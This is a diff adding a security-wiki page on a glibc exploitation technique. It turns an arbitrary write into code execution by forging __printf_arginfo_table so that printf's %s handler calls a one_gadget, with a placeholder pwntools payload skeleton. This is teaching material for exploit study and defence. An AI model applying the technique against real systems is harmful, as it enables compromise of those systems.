diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index fbf54128ab4..4b0c4d07d14 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -911,6 +911,7 @@
   - [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
   - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
+  - [WWW2Exec - \_\_printf_arginfo_table](binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md)
   - [Virtualbox Slirp Nat Packet Heap Exploitation](binary-exploitation/libc-heap/virtualbox-slirp-nat-packet-heap-exploitation.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
 - [Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw](binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md)
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md
new file mode 100644
index 00000000000..dd238c5cc13
--- /dev/null
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md
@@ -0,0 +1,86 @@
+# WWW2Exec - __printf_arginfo_table
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Glibc allows users to register custom conversion specifiers (like `%s`, `%d`) for `printf`.
+
+### Prerequisites
+
+- Arbitrary write primitive in Glibc data.
+- Ability to trigger a `printf` path after overwrite.
+- Glibc base leak to resolve `__printf_function_table` / `__printf_arginfo_table`.
+
+### How it Works
+
+When `printf` is called, it checks a global variable `__printf_function_table`. If it is non-NULL, it uses `__printf_arginfo_table` to find the handler function for the current specifier.
+1. Overwrite `__printf_function_table` with a non-zero value (e.g., 1).
+2. Forge a table at the address pointed to by `__printf_arginfo_table`.
+3. In that table, at index `ord('s')` (`0x73`), place the address of your gadget or `system`.
+
+```c
+size_t
+attribute_hidden
+__parse_one_specmb (const UCHAR_T *format, size_t posn,
+                    struct printf_spec *spec, size_t *max_ref_arg,
+                    bool *failed)
+{
+  // ...
+
+  /* Get the format specification.  */
+  spec->info.spec = (wchar_t) *format++;
+  spec->size = -1;
+  if (__builtin_expect (__printf_function_table == NULL, 1)
+      || spec->info.spec > UCHAR_MAX
+      || __printf_arginfo_table[spec->info.spec] == NULL
+      /* We don't try to get the types for all arguments if the format
+        uses more than one.  The normal case is covered though.  If
+        the call returns -1 we continue with the normal specifiers.  */
+      || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
+           (&spec->info, 1, &spec->data_arg_type,
+            &spec->size)) < 0)
+    {
+      // ...
+    }
+
+  // ...
+}
+```
+
+As can be seen, we need that `__printf_arginfo_table` is non-NULL, so that we can control the behavior of `printf`. The actual exploitable path is this call: 
+
+```c
+(*__printf_arginfo_table[spec->info.spec])(&spec->info, 1, &spec->data_arg_type, &spec->size)
+```
+
+### Exploitation
+
+So, we need to set `__printf_arginfo_table[spec->info.spec]` to the function/address we want to call. Notice that `spec->info.spec` is the format specifier (e.g., `0x73` for `%s`, its ASCII value). As a result, when `printf` is called with `%s` as a format specifier, `spec->info.spec` will be `0x73`, so we need to set `__printf_arginfo_table[0x73]` to the function/address we want to call.
+
+An example payload could be:
+
+```py
+from pwn import *
+
+context.binary = ...
+
+def arb_write(addr, val):
+    pass
+
+one_gadget = ...
+__printf_function_table_addr = ...
+__printf_arginfo_table_addr = __printf_function_table_addr + 8
+
+fake___printf_arginfo_table_addr = ...
+
+arb_write(fake___printf_arginfo_table_addr + ord('s') * 8, one_gadget)
+arb_write(__printf_arginfo_table_addr, fake___printf_arginfo_table_addr)
+arb_write(__printf_function_table_addr, 1)
+```
+
+---
+
+## References
+
+- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
+
+{{#include ../../banners/hacktricks-training.md}}